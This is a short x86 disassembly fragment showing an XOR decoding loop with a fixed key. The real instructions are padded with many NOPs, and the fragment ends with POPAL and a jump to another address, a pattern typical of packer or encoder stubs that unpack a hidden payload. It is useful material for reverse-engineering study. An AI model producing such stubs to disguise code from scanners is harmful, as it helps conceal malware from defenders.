mov ecx, 0x6eb9541b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219